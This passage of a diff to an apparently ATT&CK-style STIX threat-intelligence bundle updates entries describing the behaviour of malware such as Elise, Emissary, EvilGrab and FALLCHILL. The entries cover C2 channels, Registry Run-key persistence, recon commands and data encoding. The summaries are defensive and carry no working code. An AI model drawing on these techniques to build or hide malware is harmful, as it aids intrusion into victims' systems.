+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ELMER uses HTTP for command and control.",
             "source_ref": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c",
@@ -39897,14 +46896,14 @@
         },
         {
             "type": "relationship",
-            "id": "relationship--f2ad5e22-b08f-408f-8c9f-b1679d778768",
+            "id": "relationship--b4b71687-5aed-4cde-ba59-c37bb5231878",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ELMER uses HTTP over port 443 for command and control.",
             "source_ref": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c",
-            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
+            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
@@ -39921,7 +46920,7 @@
             "id": "relationship--bc60180b-2db6-4e0d-8b98-d349db637777",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Elise communicates over HTTP or HTTPS for C2.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
@@ -39942,7 +46941,7 @@
             "id": "relationship--2d4d634d-ed13-462a-916b-94798546ec6c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Elise configures itself as a service.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
@@ -39963,7 +46962,7 @@
             "id": "relationship--0fd5d3bc-d736-43c0-b9ec-f1dcd95411a7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "If installing itself as a service fails, Elise instead writes itself as a file named svchost.exe saved in %APPDATA%\\Microsoft\\Network.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
@@ -39984,7 +46983,7 @@
             "id": "relationship--f696324d-7fb4-44ca-82dd-3385b55fbb80",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "If establishing persistence by installation as a new service fails, one variant of Elise establishes persistence for the created .exe file by setting the following Registry key: <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\svchost : %APPDATA%\\Microsoft\\Network\\svchost.exe</code>. Other variants have set the following Registry key for persistence: <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\imejp : [self]</code>. ",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
@@ -40005,7 +47004,7 @@
             "id": "relationship--68bbad6c-1685-4275-bd36-b885a64caf6d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Elise encrypts several of its files, including configuration files.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
@@ -40026,7 +47025,7 @@
             "id": "relationship--c987dc63-ef3d-43aa-9344-bd9fd528c55d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Elise executes <code>net user</code> after initial communication is made to the remote server.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
@@ -40047,7 +47046,7 @@
             "id": "relationship--340d4ef7-816b-4758-994f-b913df78afd7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Elise executes <code>ipconfig /all</code> after initial communication is made to the remote server.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
@@ -40068,7 +47067,7 @@
             "id": "relationship--2a7d01e9-9c42-4d17-947a-629ca7a9d515",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Elise executes <code>net start</code> after initial communication is made to the remote server.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
@@ -40089,7 +47088,7 @@
             "id": "relationship--14135aaa-6080-48c1-8a08-d6ee9bb15c3d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Elise executes <code>systeminfo</code> after initial communication is made to the remote server.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
@@ -40110,7 +47109,7 @@
             "id": "relationship--c667befa-7242-47f8-bdc1-1056f62bb466",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Elise exfiltrates data using cookie values that are Base64-encoded.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
@@ -40131,7 +47130,7 @@
             "id": "relationship--1a028242-1896-4867-a691-c97867f1663d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Elise encrypts exfiltrated data with RC4.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
@@ -40152,7 +47151,7 @@
             "id": "relationship--6e39f6fe-3808-41ae-9263-1fd23865bd7b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A variant of Elise executes <code>dir C:\\progra~1</code> when initially run.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
@@ -40173,7 +47172,7 @@
             "id": "relationship--37ab6b56-033c-4cb6-8d1b-e7ff5dcf668d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "After copying itself to a DLL file, a variant of Elise calls the DLL file using rundll32.exe.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
@@ -40194,7 +47193,7 @@
             "id": "relationship--f72d9605-eea6-4ed4-8502-231d4c21431f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Elise injects DLL files into iexplore.exe.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
@@ -40215,7 +47214,7 @@
             "id": "relationship--6deeb486-90c3-4279-8549-17c81ea2466b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Elise performs timestomping of a CAB file it creates.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
@@ -40236,7 +47235,7 @@
             "id": "relationship--021c3289-43bb-4787-9d7e-6ad17b3ce84f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Variants of Emissary encrypt payloads using various XOR ciphers, as well as a custom algorithm that uses the \"srand\" and \"rand\" functions.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
@@ -40262,7 +47261,7 @@
             "id": "relationship--106aae81-fab1-42b3-97b0-4f0c1d67c896",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Emissary injects its DLL file into a newly spawned Internet Explorer process.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
@@ -40283,7 +47282,7 @@
             "id": "relationship--73171e71-b769-41ff-874a-ff76da43541f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Emissary uses HTTP or HTTPS for C2.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
@@ -40304,7 +47303,7 @@
             "id": "relationship--4b5540e5-eac1-40f4-93d0-155f60e9395a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The C2 server response to a beacon sent by a variant of Emissary contains a 36-character GUID value that is used as an encryption key for subsequent network communications. Some variants of Emissary use various XOR operations to encrypt C2 data.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
@@ -40325,7 +47324,7 @@
             "id": "relationship--2c158663-599b-45a8-b946-6d545206428d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Emissary has the capability to create a remote shell and execute specified commands.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
@@ -40346,7 +47345,7 @@
             "id": "relationship--85ca1e00-24c4-403e-8aff-9890f91e9b78",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Emissary has the capability to download files from the C2 server.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
@@ -40367,7 +47366,7 @@
             "id": "relationship--ea6289bb-c974-4e4c-bdc4-1c3211a6d1d4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Emissary is capable of configuring itself as a service.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
@@ -40388,7 +47387,7 @@
             "id": "relationship--4a959425-4d43-4969-9a47-768894a3afaa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Emissary has the capability to execute ver, systeminfo, and gpresult commands.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
@@ -40409,7 +47408,7 @@
             "id": "relationship--1ec53623-4050-498b-ba9e-f149d203036c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Emissary has the capability to execute the command <code>ipconfig /all</code>.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
@@ -40430,7 +47429,7 @@
             "id": "relationship--8ca14a24-b8b3-4669-ae56-e7102b543dc6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Emissary has the capability to execute the command <code>net localgroup administrators</code>.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
@@ -40451,7 +47450,7 @@
             "id": "relationship--bae7f2fb-99d8-4acf-b61e-f37a215aa82e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Emissary has the capability to execute the command <code>net start</code> to interact with services.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
@@ -40472,7 +47471,7 @@
             "id": "relationship--d200ba08-8179-495e-a854-9b13be5c0f93",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A variant of Emissary appends junk data to the end of its DLL file to create a large file that may exceed the maximum size that anti-virus programs can scan.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
@@ -40493,7 +47492,7 @@
             "id": "relationship--0040fdbd-ec7e-49b3-b715-c8c91e08666b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Variants of Emissary have added Run Registry keys to establish persistence.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
@@ -40514,7 +47513,7 @@
             "id": "relationship--1c6f35f0-1169-4218-9881-7291e1765cd8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Variants of Emissary have used rundll32.exe in Registry values added to establish persistence.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
@@ -40535,7 +47534,7 @@
             "id": "relationship--062b1f19-2afb-4bdc-908e-99594ff114cf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Epic implements a command and control protocol over HTTP.",
             "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
@@ -40547,7 +47546,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ]
         },
@@ -40556,7 +47555,7 @@
             "id": "relationship--88ad4d2e-745e-4712-8901-e772dfaf3298",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Turla has used valid digital certificates from Sysprint AG to sign its Epic dropper.",
             "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
@@ -40568,7 +47567,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ]
         },
@@ -40577,7 +47576,7 @@
             "id": "relationship--b2b873cd-8618-426e-9cae-9e6755acafad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "EvilGrab has the capability to capture screenshots.",
             "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78",
@@ -40598,7 +47597,7 @@
             "id": "relationship--5599906d-5be3-420c-9f84-e762d85c2511",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "EvilGrab has the capability to capture audio from a victim machine.",
             "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78",
@@ -40619,7 +47618,7 @@
             "id": "relationship--6782d7bb-5e81-4656-9445-fbd6ae1f2bdb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "EvilGrab has the capability to capture video from a victim machine.",
             "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78",
@@ -40640,7 +47639,7 @@
             "id": "relationship--0fec9b91-cd45-493b-b23e-abb3ed2513a0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "EvilGrab has the capability to capture keystrokes.",
             "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78",
@@ -40661,7 +47660,7 @@
             "id": "relationship--cd1e409b-e981-4c83-a9ea-86705a45f92c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "EvilGrab adds a Registry Run key for ctfmon.exe to establish persistence.",
             "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78",
@@ -40682,7 +47681,7 @@
             "id": "relationship--9f852541-3fc7-4036-9268-7bc6bfe94900",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "EvilGrab uses port 8080 for C2.",
             "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78",
@@ -40698,12 +47697,138 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--35f02c40-d46f-44fa-8ba2-5106357494b4",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "uses fake Transport Layer Security (TLS) to communicate with its C2 server, encoding data with RC4 encryption.",
+            "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e",
+            "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT FALLCHILL Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--5dd257c0-c2cb-422a-9991-93ff667c5ad6",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can collect operating system (OS) version information, processor information, system name, and information about installed disks from the victim.",
+            "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e",
+            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT FALLCHILL Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--760be456-6b72-4b86-b5aa-3297aa89bc4d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "collects MAC address and local IP address information from the victim.",
+            "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e",
+            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT FALLCHILL Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--27834043-1004-4a70-9023-a318bd6db7c6",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can search files on a victim.",
+            "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e",
+            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT FALLCHILL Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--3017cf15-f6a8-4281-8c74-9dd8f7c2666f",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can modify file or directory timestamps.",
+            "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e",
+            "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT FALLCHILL Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--3b32f3be-5bdd-4de8-9e39-83b0b8c1e70f",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can delete malware and associated artifacts from the victim.",
+            "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e",
+            "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "US-CERT FALLCHILL Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--3ebad12d-fd33-4289-93dc-1f5af5e90b66",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FLASHFLOOD achieves persistence by making an entry in the Registry's Run key.",
             "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a",
@@ -40724,7 +47849,7 @@
             "id": "relationship--e30a790b-8f09-4bdc-8116-275d00880333",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FLASHFLOOD searches for interesting files (either a default or customized set of file extensions) on removable media and copies them to a staging area. The default file types copied would include data copied to the drive by SPACESHIP.",
             "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a",
@@ -40745,7 +47870,7 @@
             "id": "relationship--18324fed-7770-4768-b652-59860ac4782f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FLASHFLOOD searches for interesting files (either a default or customized set of file extensions) on the local system. FLASHFLOOD will scan the My Recent Documents, Desktop, Temporary Internet Files, and TEMP directories. FLASHFLOOD also collects information stored in the Windows Address Book.",
             "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a",
@@ -40766,7 +47891,7 @@
             "id": "relationship--f9669551-29f8-4aaf-83b9-50e541bbdced",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FLASHFLOOD employs the same encoding scheme as SPACESHIP for data it stages. Data is compressed with zlib, and bytes are rotated four times before being XOR'ed with 0x23.",
             "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a",
@@ -40787,7 +47912,7 @@
             "id": "relationship--e5728c4d-d404-44e8-9e28-3411942c5234",
